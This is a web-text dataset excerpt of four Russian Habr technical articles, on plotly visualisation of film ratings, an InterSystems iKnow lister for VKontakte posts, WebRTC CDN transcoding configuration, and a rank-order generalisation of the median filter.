text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Немного про кино или как делать интерактивные визуализации в python
Введение
--------
В этой заметке я хочу рассказать о том, как можно достаточно легко строить интерактивные графики в Jupyter Notebook'e с помощью библиотеки `plotly`. Более того, для их построения не нужно поднимать свой сервер и писать код на javascript. Еще один большой плюс предлагаемого подхода — визуализации будут работать и в [NBViewer'e](http://nbviewer.jupyter.org), т.е. можно будет легко поделиться своими результатами с коллегами. Вот, например, [мой код](http://nbviewer.jupyter.org/github/miptgirl/kinopoisk_data/blob/master/movies_analysis.ipynb) для этой заметки.
Для примеров я взяла скаченные в апреле данные о фильмах (год выпуска, оценки на КиноПоиске и IMDb, жанры и т.д.). Я выгрузила данные по всем фильмам, у которых было хотя бы 100 оценок — всего 36417 фильмов. Про то, как скачать и распарсить данные КиноПоиска, я рассказывала в [предыдущем посте](https://habrahabr.ru/post/280238/).
Визуализация в python и plotly
------------------------------
В python есть много библиотек для визуализации: `matplotlib`, `seaborn`, портированный из R `ggplot` и другие (подробнее про инструменты можно почитать [тут](https://blog.modeanalytics.com/python-data-visualization-libraries/) или [тут](http://pbpython.com/visualization-tools-1.html)). Есть среди них и те, которые позволяют строить интерактивные графики, например, `bokeh`, `pygal` и `plotly`, о котором собственно и пойдет речь.
`Plotly` позицинируется как online-платформа, где можно создавать и публиковать свои графики. Однако, эту библиотеку можно использовать и просто в `Jupyter Notebook'e`. К тому же у библиотеки есть offline-mode, который позволяет использовать ее без регистрации и публикации данных и графиков на сервер `plotly` ([документация](https://plot.ly/python/offline/)).
В целом, мне библиотека очень понравилась: есть подробная документация с [примерами](https://plot.ly/python/), поддержаны разные типы графиков (scatter plots, box plots, 3D графики, bar charts, heatmaps, дендрограммы и т.д.) и графики получаются достаточно симпатичными.
Примеры
-------
Теперь настало время перейти непосредственно к примерам. Как я уже говорила выше, весь код и интерактивные графики доступны в [NBViewer'e](http://nbviewer.jupyter.org/github/miptgirl/kinopoisk_data/blob/master/movies_analysis.ipynb).
Библиотеку легко установить c помощью команды: `pip install plotly`.
Прежде всего, необходимо сделать import'ы, вызвать команду `init_notebook_mode` для инициализации `plot.ly` и загрузить в `pandas.DataFrame` данные, с которыми будем работать.
```
from plotly.offline import download_plotlyjs, init_notebook_mode, plot, iplot
import plotly.graph_objs as go
init_notebook_mode(connected=True)
df = pd.read_csv('kp_all_movies.csv') #скачиваем подготовленные данные
df.head()
```
### Сколько фильмов выходило в разные годы?
Для начала построим простой bar chart, показывающий распределение фильмов по году выпуска.
```
count_year_df = df.groupby('movie_year', as_index = False).movie_id.count()
trace = go.Bar(
x = count_year_df.movie_year,
y = count_year_df.movie_id
)
layout = go.Layout(
title='Фильмы на Кинопоиске',
)
fig = go.Figure(data = [trace], layout = layout)
iplot(fig)
```
В результате, получим интерактивный график, который показывает значение при наведении на год и достаточно ожидаемый вывод о том, что с годами фильмов стало больше.
### Стали ли с годами снимать более хорошее кино?
Для ответа на этот вопрос построим график зависимости средней оценки на КиноПоиске и IMDb от года выпуска.
```
rating_year_df = df.groupby('movie_year', as_index = False)[['kp_rating', 'imdb_rating']].mean()
trace_kp = go.Scatter(
x = rating_year_df.movie_year,
y = rating_year_df.kp_rating,
mode = 'lines',
name = u'КиноПоиск'
)
trace_imdb = go.Scatter(
x = rating_year_df.movie_year,
y = rating_year_df.imdb_rating,
mode = 'lines',
name = 'IMDb'
)
layout = go.Layout(
title='Оценки фильмов',
)
fig = go.Figure(data = [trace_kp, trace_imdb], layout = layout)
iplot(fig)
```
На оценках по КиноПоиску и IMDb виден тренд на снижение средней оценки в зависимости от года выпуска. Но, на самом деле, из этого нельзя сделать однозначный вывод о том, что раньше снимали более качественные фильмы. Дело в том, что если уж люди смотрят старые фильмы и оценивают их на КиноПоиске, то выбирают культовое кино с заведомо более высокими оценками (думаю, мало кто смотрит проходные фильмы, вышедшие в 1940м году, по крайней мере, я не смотрю).
### Есть ли различия в оценках в зависимости от жанра фильма?
Для сравнения оценок в зависимости от жанра построим box plot. Стоит помнить, что каждый фильм может принадлежать к нескольким жанрам, поэтому фильмы будут учитываться в нескольких группах.
**Код**
```
# прежде всего распарсим поле genres и data frame с размноженными строками для каждого жанра
def parse_list(lst_str):
return filter(lambda y: y != '',
map(lambda x: x.strip(),
re.sub(r'[\[\]]', '', lst_str).split(',')))
df['genres'] = df['genres'].fillna('[]')
genres_data = []
for record in df.to_dict(orient = 'records'):
genres_lst = parse_list(record['genres'])
for genre in genres_lst:
copy = record.copy()
copy['genre'] = genre
copy['weight'] = 1./len(genres_lst)
genres_data.append(copy)
genres_df = pd.DataFrame.from_dict(genres_data)
# сформируем топ-10 жанров
top_genres = genres_df.groupby('genre')[['movie_id']].count()\
.sort_values('movie_id', ascending = False)\
.head(10).index.values.tolist()
N = float(len(top_genres))
# cгенерируем цвета для визуализации
c = ['hsl('+str(h)+',50%'+',50%)' for h in np.linspace(0, 360, N)]
data = [{
'y': genres_df[genres_df.genre == top_genres[i]].kp_rating,
'type':'box',
'marker':{'color': c[i]},
'name': top_genres[i]
} for i in range(len(top_genres))]
layout = go.Layout(
title='Оценки фильмов',
yaxis = {'title': 'Оценка КиноПоиска'}
)
fig = go.Figure(data = data, layout = layout)
iplot(fig)
```
По графику видно, что больше всего выделяются низкими оценками фильмы-ужастики
### Какие жанры чаще всего соседствуют?
Как я говорила выше, один фильм чаще всего относится к нескольким жанрам сразу. Для того чтобы посмотреть на то, какие жанры чаще встречаются вместе, построим heatmap.
**Код**
```
genres_coincidents = {}
for item in df.genres:
parsed_genres = parse_list(item)
for genre1 in parsed_genres:
if genre1 not in genres_coincidents:
genres_coincidents[genre1] = defaultdict(int)
for genre2 in parsed_genres:
genres_coincidents[genre1][genre2] += 1
genres_coincidents_df = pd.DataFrame.from_dict(genres_coincidents).fillna(0)
# отнормируем таблицу на количество фильмов каждого жанра
genres_coincidents_df_norm = genres_coincidents_df\
.apply(lambda x: x/genres_df.groupby('genre').movie_id.count(), axis = 1)
heatmap = go.Heatmap(
z = genres_coincidents_df_norm.values,
x = genres_coincidents_df_norm.index.values,
y = genres_coincidents_df_norm.columns
)
layout = go.Layout(
title = 'Связанные жанры'
)
fig = go.Figure(data = [heatmap], layout = layout)
iplot(fig)
```
Читать график нужно следующим образом: 74,7% исторических фильмов также имеют тег *драма*.
### Как менялись оценки фильмов в зависимости от жанра?
Вернемся еще раз к примеру, в котором мы смотрели на зависимость средней оценки от года выпуска и построим такие графики для различных жанров. Параллельно познакомимся с еще одной фишкой `plotly`: можно сконфигурировать drop-down меню и изменять график в зависимости от выбранной опции.
**Код**
```
genre_rating_year_df = genres_df.groupby(['movie_year', 'genre'], as_index = False)[['kp_rating', 'imdb_rating']].mean()
N = len(top_genres)
data = []
drop_menus = []
# конструируем все интересующие нас линии
for i in range(N):
genre = top_genres[i]
genre_df = genre_rating_year_df[genre_rating_year_df.genre == genre]
trace_kp = go.Scatter(
x = genre_df.movie_year,
y = genre_df.kp_rating,
mode = 'lines',
name = genre + ' КиноПоиск',
visible = (i == 0)
)
trace_imdb = go.Scatter(
x = genre_df.movie_year,
y = genre_df.imdb_rating,
mode = 'lines',
name = genre + ' IMDb',
visible = (i == 0)
)
data.append(trace_kp)
data.append(trace_imdb)
# создаем выпадающие меню
for i in range(N):
drop_menus.append(
dict(
args=['visible', [False]*2*i + [True]*2 + [False]*2*(N-1-i)],
label= top_genres[i],
method='restyle'
)
)
layout = go.Layout(
title='Фильмы по жанрам',
updatemenus=list([
dict(
x = -0.1,
y = 1,
yanchor = 'top',
buttons = drop_menus
)
]),
)
fig = go.Figure(data = data, layout = layout)
iplot(fig)
```
В качестве заключения
---------------------
В этой заметке мы познакомились с использованием библиотеки `plotly` для построения различных интерактивных графиков на python. Мне кажется, это очень полезный инструмент для аналитической работы, поскольку он позволяет делать интерактивные визуализации и легко делиться ими с коллегами.
Заинтересовавшимся советую посмотреть и [другие примеры использования plot.ly](https://plot.ly/python/).
Весь код и данные живут на [github](https://github.com/miptgirl/kinopoisk_data) | https://habr.com/ru/post/308162/ | null | ru | null |
# InterSystems iKnow. Загружаем данные из Вконтакте
Эта статья продолжает цикл рассказов ([раз](http://habrahabr.ru/company/intersystems/blog/243217/), [два](http://habrahabr.ru/company/intersystems/blog/244697/)) об основных способах/сценариях использования iKnow — инструмента Natural Language Processing'а из стека технологий InterSystems.
Предыдущие посты на эту тему были в основном посвящены работе с данными уже после того, как те были помещены в домен (место, в котором и проходит весь анализ текста). Эта же статья будет о том, как правильно и удобно загрузить информацию в iKnow. В качестве примера рассмотрим загрузку информации о пользователях Вконтакте: их личных данных, постах и т.д.
Статья подразумевает некий базовый бэкграунд в области технологий InterSystems (в частности, Caché ObjectScript).
Долгая дорога в домен
---------------------
Если верить [официальной документации](http://docs.intersystems.com/ens20131/csp/docbook/DocBook.UI.Page.cls?KEY=GIKNOW_load), есть два сценария загрузки данных в существующий домен:
1. Создается инстанс класса `%iKnow.Source.Loader`. Он привязан к конкретному домену (тому, id которого был передан в конструктор). Создается инстанс класса, реализующего интерфейс листера. У этого инстанса вызывается метод `AddListToBatch` с некоторыми аргументами, специфицирующими загружаемую информацию. Таким образом к текущему батчу домена добавляется новый список информации для загрузки. Это может быть проделано несколько раз. Для того, чтобы загрузить текущий батч в домен, у лоадера нужно вызвать метод `ProcessBatch`. Этот вариант лучше подходит для загрузок больших объемов.
2. Создается инстанc класса, реализующего интерфейс [листера](http://docs.intersystems.com/ens20131/csp/docbook/DocBook.UI.Page.cls?KEY=GIKNOW_load_lister), у этого инстанса вызывается метод `ProcessList` с некоторыми аргументами, специфицирующими загружаемую информацию, и загрузка происходит сразу в домен напрямую. Этот варинт лучше подходит для загрузок малых объемов.
Кастомизация листинга
---------------------
Стандартная библиотека предлагает множество готовых реализаций листера (RSS-листер, файловый листер, листер глобалов). Однако же у конечного программиста имеется возможность написать свою реализацию, подходящую для его собственных нужд.
Перед тем, как писать листер для постов Вконтакте, я написал обертку для некоторых методов [Вконтакте API](https://vk.com/dev) на COS, оперирующих данными в открытом доступе. Весь код доступен на [github](https://github.com/intersystems-ru/iknowSocial) в пакете `VKReader`.
Я решил, что было бы интересно, если бы листер мог загружать последние посты по какому-нибудь ключевому слову, ну, и каким-нибудь еще параметрам. Оказалось, что этого совсем не сложно добиться. [Глава документации](http://docs.intersystems.com/ens20131/csp/docbook/DocBook.UI.Page.cls?KEY=GIKNOW_customize#GIKNOW_customize_lister), посвященная кастомизации, говорит, что для создания своего листера нужно пронаследоваться от системного класса и переопределить несколько методов.
Итак, все в том же пакете я создал класс `VKReader.Lister`, наследующийся от класса `%iKnow.Source.Lister`. Если вы пишете свой листер, он тоже должен наследоваться от этого класса.
Каждому листеру должно быть присвоено уникальное короткое имя (alias), по которому к нему будут обращаться системные методы iKnow. Если это имя не будет указано, вместо него будет использоваться полное имя класса этого листера.
Чтобы указать alias, просто переопределите в вашем классе класс-метод `GetAlias`. Для нашего листера Вконтакте я сделал это так:
ClassMethod GetAlias() As %String
{
Quit "VKAPI"
}
Все источники данных, представленные для загрузки, имеют external id, который должен содержать короткое имя листера и full reference, который, в свою очередь, состоит из имени группы источников и local reference.
Для работы листера нужно переопределить класс-методы `BuildFullRef` и `SplitFullRef`, соответственно, собирающий full reference из groupname и local reference и разбивающий его на эти две части.
Extrenal id в нашем случае получился такой:
`VKAPI:searchQuery:::vkPostId`
Здесь VKAPI — короткое имя нашего листера, поисковой запрос играет роль имени группы источников, а id записи Вконтакте — local reference.
Код методов `BuildFullRef` и `SplitFullRef`:
ClassMethod SplitFullRef(domainId As %Integer, fullRef As %String, Output groupName As %String,
Output localRef As %String) As %Status [ Private ]
{
set delim = ":::"
set localRef = $piece(fullRef, delim, $l(fullRef, delim))
set groupName = $e(fullRef, 1, \*-$l(localRef)-$l(delim))
Quit $$$OK
}
ClassMethod BuildFullRef(domainId As %Integer, groupName As %String, localRef As %String) As %String [ Private ]
{
quit groupName\_":::"\_localRef
}
Также нужно указать, какой `Processor` будет стандартным для этого листера. В iKnow `Processor` — это объект, который занимается непосредственной обработкой загружаемых данных. Есть несколько типов различных обработчиков (`Processor`-ов), но, поскольку в нашем случае данные будут храниться только непосредственно в памяти, я решил использовать обработчик для временного хранилища. Обработчик также указывается через переопределение.
ClassMethod DefaultProcessor() As %String
{
Quit "%iKnow.Source.Temp.Processor"
}
Вся основная загрузочная деятельность происходит в еще одном переопределяемом методе с красноречивым названием `ExpandList`. Этот метод расширяет список для загрузки в домен. Аргументы методов ProcessList и AddListToBatch будут такими же, какими вы определите их в `ExpandList`.
Приведем сначала весь код метода для нашего случая.
Аргументы у нас будут следующие (по порядку): слово-запрос, по которому хотим искать записи; число записей; булевское значение, соответствующее тому, хотим ли мы проверять список для загрузки на существование источника с такими же local reference; ограничения на время публикации записи.
**Много кода под спойлером**Method ExpandList(listparams As %List) As %Status
{
set query = $li(listparams, 1)
set count = $li(listparams, 2)
set checkExists = +$lg(listparams, 3, 1)
set startDate = $lg(listparams, 4)
set startTime = $lg(listparams, 5)
set endDate = $lg(listparams, 6)
set endTime = $lg(listparams, 7)
#dim response As %ListOfObjects
set tSC = ##class(VKReader.Requests.APIPublicMethodsCaller).NewsfeedSearch(.response, query,
count,,,startDate, startTime, endDate, endTime)
quit:$$$ISERR(tSC) tSC
do ..RegisterMetadataKeys($lb("PostDate", "PostTime", "AuthorID", "AuthorCity", "AuthorCountry",
"AuthorDOB", "AuthorSex"))
set userIds = "1"
set groupIds = "1"
for i = 1: 1: response.Count() {
if (response.GetAt(i).FromID < 0) {
set groupIds = groupIds \_ "," \_ (-(response.GetAt(i).FromID))
} else {
set userIds = userIds \_ "," \_ response.GetAt(i).FromID
}
}
set tSC = ##class(VKReader.Requests.APIPublicMethodsCaller).UsersGet(.responseUsers, userIds,
"sex,city,bdate,country")
quit:$$$ISERR(tSC) tSC
set tSC = ##class(VKReader.Requests.APIPublicMethodsCaller).GroupsGetById(.responseGroups, groupIds,
"city,country")
quit:$$$ISERR(tSC) tSC
for i = 1: 1: response.Count() {
set tPostDate = response.GetAt(i).Date
set tPostTime = response.GetAt(i).Time
set tOwnerID = response.GetAt(i).OwnerID
set tFromID = response.GetAt(i).FromID
set tID = response.GetAt(i).ID
#dim tTextStream as %GlobalCharacterStream
set tTextStream = response.GetAt(i).Text
if (tFromID < 0) {
set tAuthorCity = responseGroups.GetAt(-tFromID).City
set tAuthorCountry = responseGroups.GetAt(-tFromID).Country
set tAuthorDOB = ""
set tAuthorSex = ""
} else {
set tAuthorCity = responseUsers.GetAt(tFromID).City
set tAuthorCountry = responseUsers.GetAt(tFromID).Country
set tAuthorDOB = responseUsers.GetAt(tFromID).DOB
set tAuthorSex = responseUsers.GetAt(tFromID).Sex
}
set tLocalRef = tOwnerID \_ "#" \_ tFromID \_ "#" \_ tID
if (checkExists) {
continue:..RefExists(query, tLocalRef, checkExists - 1)
}
set tRef = $lb(i%ListerClassId, ..AddGroup(query), tLocalRef)
do tTextStream.Rewind()
if (tTextStream.Size = 0) {
continue
}
set len = 32000
while (len = 32000) {
do ..StoreTemp(tRef, tTextStream.Read(.len))
}
do ..SetMetadataValues(tRef, $lb(tPostDate, tPostTime, tFromID, tAuthorCity, tAuthorCountry,
tAuthorDOB, tAuthorSex))
}
}
Пройдемся по коду более подробно.
Сначала выделим аргументы.
set query = $li(listparams, 1)
set count = $li(listparams, 2)
set checkExists = +$lg(listparams, 3, 1)
set startDate = $lg(listparams, 4)
set startTime = $lg(listparams, 5)
set endDate = $lg(listparams, 6)
set endTime = $lg(listparams, 7)
Сделаем запрос к API Вконтакте через наш метод-обертку. Результатом работы этого метода является список объектов класса `VKReader.Data.Post`, который содержит некоторые характерные для записи Вконтакте поля.
#dim response As %ListOfObjects
set tSC = ##class(VKReader.Requests.APIPublicMethodsCaller).NewsfeedSearch(.response, query,
count,,,startDate, startTime, endDate, endTime)
quit:$$$ISERR(tSC) tSC
Зарегистрируем ключи метаданных для дальнейшего легкого сохранения метаинформации. В метаданных мы хотим хранить дату и время публикации записи, а также id, город, страну и дату рождения автора.
do ..RegisterMetadataKeys($lb("PostDate", "PostTime", "AuthorID", "AuthorCity", "AuthorCountry",
"AuthorDOB", "AuthorSex"))
Сохраним comma-separated-list'ы id пользователей и групп, являющихся авторами найденных нами записей. Id групп, как и в API Вконтакте, являются отрицательными целыми числами, а id пользователей — положительными.
set userIds = "1"
set groupIds = "1"
for i = 1: 1: response.Count() {
if (response.GetAt(i).FromID < 0) {
set groupIds = groupIds \_ "," \_ (-(response.GetAt(i).FromID))
} else {
set userIds = userIds \_ "," \_ response.GetAt(i).FromID
}
}
Получим информацию об этих пользователях и группах при помощи методов-оберток. Они возвращают списки объектов типов `VKReader.Data.User` и `VKReader.Data.Group`, содержащих поля, характерные для пользователей и групп Вконтакте (вроде города, страны и всего прочего).
set tSC = ##class(VKReader.Requests.APIPublicMethodsCaller).UsersGet(.responseUsers, userIds,
"sex,city,bdate,country")
quit:$$$ISERR(tSC) tSC
set tSC = ##class(VKReader.Requests.APIPublicMethodsCaller).GroupsGetById(.responseGroups, groupIds,
"city,country")
quit:$$$ISERR(tSC) tSC
В цикле обработаем все найденные посты. Сначала выделим всю полученную метаинформацию в локальные переменные.
set tPostDate = response.GetAt(i).Date
set tPostTime = response.GetAt(i).Time
set tOwnerID = response.GetAt(i).OwnerID
set tFromID = response.GetAt(i).FromID
set tID = response.GetAt(i).ID
#dim tTextStream as %GlobalCharacterStream
set tTextStream = response.GetAt(i).Text
if (tFromID < 0) {
set tAuthorCity = responseGroups.GetAt(-tFromID).City
set tAuthorCountry = responseGroups.GetAt(-tFromID).Country
set tAuthorDOB = ""
set tAuthorSex = ""
} else {
set tAuthorCity = responseUsers.GetAt(tFromID).City
set tAuthorCountry = responseUsers.GetAt(tFromID).Country
set tAuthorDOB = responseUsers.GetAt(tFromID).DOB
set tAuthorSex = responseUsers.GetAt(tFromID).Sex
}
Local reference — id хозяина стены, id отправителя и id записи, разделенные решеткой.
set tLocalRef = tOwnerID \_ "#" \_ tFromID \_ "#" \_ tID
Если необходимо, проверим, есть ли источники с таким же local reference.
if (checkExists) {
continue:..RefExists(query, tLocalRef, checkExists - 1)
}
Следующий код мог бы быть и другим, если бы был выбран другой обработчик источников. Я использую обработчик для временного хранилища, так что мне нужно расширять список при помощи метода `StoreTemp` (более подробно для каждого обработчика можно посмотреть на странице с его документацией). Также мне нужно установить полученные значения для полей метаданных.
set tRef = $lb(i%ListerClassId, ..AddGroup(query), tLocalRef)
do tTextStream.Rewind()
if (tTextStream.Size = 0) {
continue
}
set len = 32000
while (len = 32000) {
do ..StoreTemp(tRef, tTextStream.Read(.len))
}
do ..SetMetadataValues(tRef, $lb(tPostDate, tPostTime, tFromID, tAuthorCity, tAuthorCountry,
tAuthorDOB, tAuthorSex))
Все. Листер написан!
Протестируем его работу.
Тестируем листер
----------------
Я написал небольшое веб-приложение, которое, используя реализованный нами листер, позволяет просматривать, искать похожие, добавлять по запросу и удалять записи из домена. Вот несколько скриншотов:
Изначально пустой домен.
Нажимаем на плюсик, чтобы добавить новые посты.
У появившейся формы заполняем поля и жмем на кнопку, чтоб добавить записи.
Ждем некоторое время и записи добавляются.
Для тех пользователей или групп, которые предоставили данные о себе в открытый доступ, наш листер сохраняет их в поля метаинформации, а это небольшое демо отображает их в виде не слишком элегантной таблицы.
Из коробки iKnow может показывать похожие записи: нажмем на кнопку с мишенью возле какого-нибудь поста и убедимся, что это работает.
Резюме
------
По ходу статьи мы разобрались в том, как работает загрузка данных в домен, подробно обсудили, как работает среднестатистический листер и как написать свой листер, который тоже будет работать. Написали свой листер для работы с данными Вконтакте, а также убедились в том, что он действительно работает по модулю того, что домен и конфигурация были созданы где-то за кулисами.
В случае, если имеется желание заглянуть за эти кулисы, весь код, который был изложен, использовался или упоминался в статье, может быть найден на страничке проекта на [github](https://github.com/intersystems-ru/iknowSocial). | https://habr.com/ru/post/246719/ | null | ru | null |
# Динамическая CDN для WebRTC стриминга с низкой задержкой и транскодингом
В [первой части](https://habr.com/en/company/flashphoner/blog/477310/) мы развернули простую динамическую CDN для трансляции WebRTC потоков на два континента и убедились в том, что задержки в такой CDN действительно низкие, на примере таймера обратного отсчета.
Однако, кроме низкой задержки, важно обеспечить зрителям хорошее качество трансляции, ведь за это они и платят. В реальной жизни, каналы между Edge серверами и подписчиками могут быть разными по пропускной способности и качеству. Например, мы публикуем поток разрешением 720p с битрейтом 2 Мбит/с, а пользователь играет его на Android-смартфоне, используя 3G подключение в зоне неуверенного приема сигнала, и максимальное разрешение, при котором картинка будет плавной, всего 360p с битрейтом 400 Мбит/с.
Устройства и браузеры, которыми пользуются зрители, бывают очень разными. Например, мы публикуем WebRTC поток с использованием кодека VP8 из браузера Chrome на ПК, а зритель играет поток в Safari на iPhone, который поддерживает только кодек H264. Или наоборот, мы публикуем RTMP поток из OBS Studio, кодируя видео в H264, а звук в AAC, а клиент использует браузер на основе Chromium, в котором поддерживается только VP8 или VP9 для видео и opus для звука.
Может понадобиться и повышение качества исходной публикации. Например, мы раздаем поток с IP-камеры в каком-нибудь заповеднике, большую часть времени картинка статична, камера ее отдает с частотой 1 кадр в секунду. В то же время зрителю мы хотим играть 24 кадра в секунду. Как быть, если заменить камеру или изменить ее настройки невозможно?
Во всех этих случаях потребуется транскодирование потока на сервере, то есть декодирование каждого принятого кадра и последующее кодирование с новыми параметрами. Причем параметры, которые должны быть изменены, часто известны только на стороне клиента. Посмотрим, как можно обеспечить транскодинг в CDN, балансируя между качеством трансляции и нагрузками на серверы.
Транскодинг: как, где и почему?
-------------------------------
Допустим, нам известны параметры потока, которые желает получить клиент. Например, зритель начал играть поток, и количество потерь кадров в WebRTC статистике говорит нам о том, что разрешение и битрейт необходимо снизить~~, пока клиент не переключил каналы~~. В этом случае по умолчанию поток будет транскодироваться на Edge сервере, к которому подключен зритель.
Если же клиент не поддерживает кодек, используемый при публикации потока, можно возложить транскодинг как на Edge, так и на Origin сервер.
И то, и другое может быть только временным решением, при условии, что конфигурации Origin и/или Edge серверов были выбраны с запасом. Транскодинг всегда производится покадрово, поэтому он очень требователен к ресурсам процессора. Так, одно процессорное ядро способно транскодировать совсем небольшое число потоков:
| Разрешение | Битрейт, кбит/с | Количество потоков |
| --- | --- | --- |
| 360p | 1300 | 5 |
| 480p | 1800 | 3 |
| 720p | 3000 | 2 |
Даже если мы будем запускать один процесс транскодирования для всех подписчиков, требующих одинаковых параметров медиапотока, велика вероятность, что несколько зрителей с разными параметрами выберут все ресурсы сервера целиком.
Таким образом, правильным решением будет выделить специальные серверы в CDN под задачи транскодирования, и выбрать конфигурацию серверов исходя из этих задач.
Добавляем Transcoder узлы в CDN
-------------------------------
Итак, развернем в нашей CDN по одному серверу с ролью Transcoder в европейском и американском дата-центрах
Настройка Transcoder серверов:
* Transcoder 1 EU
```
cdn_enabled=true
cdn_ip=t-eu1.flashphoner.com
cdn_point_of_entry=o-eu1.flashponer.com
cdn_nodes_resolve_ip=false
cdn_role=transcoder
```
* Transcoder 1 US
```
cdn_enabled=true
cdn_ip=t-us1.flashphoner.com
cdn_point_of_entry=o-eu1.flashponer.com
cdn_nodes_resolve_ip=false
cdn_role=transcoder
```
Параметры транскодирования потоков должны быть описаны на Edge серверах в виде специальных профилей в файле `cdn_profiles.yml`. В качестве примера, рассмотрим три профиля по умолчанию:
* транскодирование к разрешению 640x360, 30 кадров в секунду, ключевой кадр передается на каждые 90 кадров, видеокодек H264 c использованием кодировщика OpenH264, аудиокодек Opus 48 кГц
```
-640x360:
audio:
codec : opus
rate : 48000
video:
width : 640
height : 360
gop : 90
fps : 30
codec : h264
codecImpl : OPENH264
```
* транскодирование к разрешению 1280x720, видеокодек H264 c использованием кодировщика OpenH264, без транскодирования звука
```
-720p:
video:
height : 720
codec : h264
codecImpl : OPENH264
```
* транскодирование к разрешению 1280x720, 30 кадров в секунду, ключевой кадр передается на каждые 90 кадров, битрейт 2 Мбит/с, видеокодек H264 c использованием кодировщика OpenH264, без транскодирования звука
```
-720p-2Mbps:
video:
height : 720
bitrate : 2000
gop : 90
fps : 30
codec : h264
codecImpl : OPENH264
```
Публикуем поток `test` разрешением 720p на сервере `o-eu1` и играем этот поток на `e-eu1`, указав профиль в имени потока, например, `test-640x360`
Поток транскодируется!
Теперь мы можем описать на Edge серверах ряд профилей, например -240p, -360p, -480p и, если на стороне клиента по данным WebRTC статистики диагностируется большое число потерянных кадров, автоматически перезапрашивать поток с более низким разрешением.
Группируем узлы CDN по континентам
----------------------------------
Сейчас наши Transcoder серверы равноправны. А что делать, если мы хотим транскодировать потоки по географии: для американских зрителей в Америке, для европейских — в Европе? Это, кстати, позволит уменьшить нагрузку на трансатлантические каналы, поскольку в этом случае с Origin EU сервера в Америку и наоборот пойдут только исходные потоки, а не все варианты транскодированных.
В этом случае в настройках Transcoder узлов необходимо указать группу
* Transcoder 1 EU
```
cdn_enabled=true
cdn_ip=t-eu1.flashphoner.com
cdn_point_of_entry=o-eu1.flashponer.com
cdn_nodes_resolve_ip=false
cdn_role=transcoder
cdn_groups=EU
```
* Transcoder 1 US
```
cdn_enabled=true
cdn_ip=t-us1.flashphoner.com
cdn_point_of_entry=o-eu1.flashponer.com
cdn_nodes_resolve_ip=false
cdn_role=transcoder
cdn_groups=US
```
Также группу необходимо добавить в настройки Edge серверов
* Edge 1-2 EU
```
cdn_groups=EU
```
* Edge 1-2 US
```
cdn_groups=US
```
Перезапускаем узлы с новыми настройками. Публикуем поток `test` разрешением 720p на сервере `o-eu1`, играем этот поток на `e-eu1` с транскодингом
Убедимся, что поток транскодируется на `t-eu`, для этого открываем страницу статистики <http://t-eu1.flashphoner.com:8081/?action=stat> и видим кодировщик и декодировщик видео в разделе `Native resources`
При этом на `t-us1` в статистике нет кодировщиков видео
Больше транскодеров: балансируем нагрузку
-----------------------------------------
Допустим, число зрителей продолжает расти, и мощностей одного Transcoder сервера на континент уже не хватает. Отлично, добавим еще по одному серверу
* Transcoder 2 EU
```
cdn_enabled=true
cdn_ip=t-eu2.flashphoner.com
cdn_point_of_entry=o-eu1.flashponer.com
cdn_nodes_resolve_ip=false
cdn_role=transcoder
cdn_groups=EU
```
* Transcoder 2 US
```
cdn_enabled=true
cdn_ip=t-us2.flashphoner.com
cdn_point_of_entry=o-eu1.flashponer.com
cdn_nodes_resolve_ip=false
cdn_role=transcoder
cdn_groups=US
```
Однако теперь у нас появляется проблема распределения нагрузки по двум транскодерам. Чтобы не пускать все потоки через один сервер, ограничим максимально допустимую среднюю загрузку процессора на Transcoder узлах
```
cdn_node_load_average_threshold=0.95
```
Когда средняя загрузка процессора, деленная на количество доступных ядер, достигнет этого значения, сервер перестанет принимать запросы на транскодирование новых потоков.
Можно также ограничить максимальное количество одновременно запущенных кодировщиков видео
```
cdn_transcoder_video_encoders_threshold=10000
```
Когда это количество будет достигнуто, сервер также перестанет принимать запросы на транскодирование потоков, даже если загрузка процессора это еще позволяет.
В любом случае, Transcoder сервер продолжит раздавать Edge серверам те потоки, которые на нем уже транскодируются.
Окончание следует
-----------------
Итак, мы развернули в нашей CDN выделенные серверы для транскодирования медиапотоков и, таким образом, можем обеспечить нашим зрителям качество трансляции в зависимости от возможностей их оборудования и качества каналов. Однако, мы все еще не затрагивали вопрос ограничения доступа к потокам. Его мы рассмотрим в заключительной части.
Ссылки
------
[CDN для стриминга WebRTC с низкой задержкой](https://flashphoner.com/cdn-dlya-striminga-webrtc-s-nizkoj-zaderzhkoj/?lang=ru) — сеть доставки контента на базе Web Call Server. | https://habr.com/ru/post/477874/ | null | ru | null |
# Обобщение медианного фильтра
#### Аннотация
В данной статье рассказывается об уникальном фильтре, статья о котором появилась в 1990 году: *Маслов А.М., Сергеев В.В. Идентификация линейной искажающей системы с использованием ранговой обработки сигналов // Компьютерная оптика. — М., 1990. — Вып.6. — С.97-102.* Данный алгоритм получил название «Алгоритм ранговой обработки» и по факту является обобщением медианного фильтра.
Применение данного фильтра оправдано в двух случая — для подавления шума и для уменьшения смаза.
**Рисунок 1** — исходное изображение, **2** — смазанное и зашумленное солью.
#### Алгоритм ранговой обработки сигнала — экстремальный фильтр
Алгоритм заключается в обработке изображения локальным окном с записью результата обработки в новое изображение:
1. Пусть мы находимся в точке изображения с координатами *(I,J)* - **текущий отсчет**
2. Вокруг текущего отсчета рассматривается локальная окрестность размера NxN
3. По значениям точек в лоальной окрестности строится [вариационный ряд](http://www.wikiznanie.ru/ru-wz/index.php/%D0%92%D0%B0%D1%80%D0%B8%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D1%8B%D0%B9_%D1%80%D1%8F%D0%B4), который обозначим *p*. Размер данного ряда *N\*N.*
4. В результирующем изображении текущий отсчет принимает значение по следующему правилу:
где *k* — параметр алгоритма, *N* — нечетное число, *Im1* — исходное изображение, *Im2* — результирующее изображение.
Если *k = (N^2+1)/2* — то есть центр вариационного ряда — данный фильтр становится известным **медианным** фильтром. В дальнейшем этот параметр будем называть **отступом**.
#### Свойства экстремального фильтра
Свойства данного фильтр очень полезны на практике, так как фильтр позволяет компенсировать не только шум но устранять (частично) последствия смаза изображения. Предельным случаем этого фильтра при ***k = (N^2+1)/2*** мы имеем медианный фильтр, который только устраняет шум, но не трогает границы, и если изображение смазанное, то смаз так и останется.
При ***k < (N^2+1)/2*** шум фильтруется несколько хуже, зато повышается резкость изображения, а при ***k = 0*** шум и вовсе не фильтруется, но смаз устранятся самым сильным образом.
Дабы не утруждать читателей элементарной реализацией данного алгоритма, я приведу здесь код на Matlab.
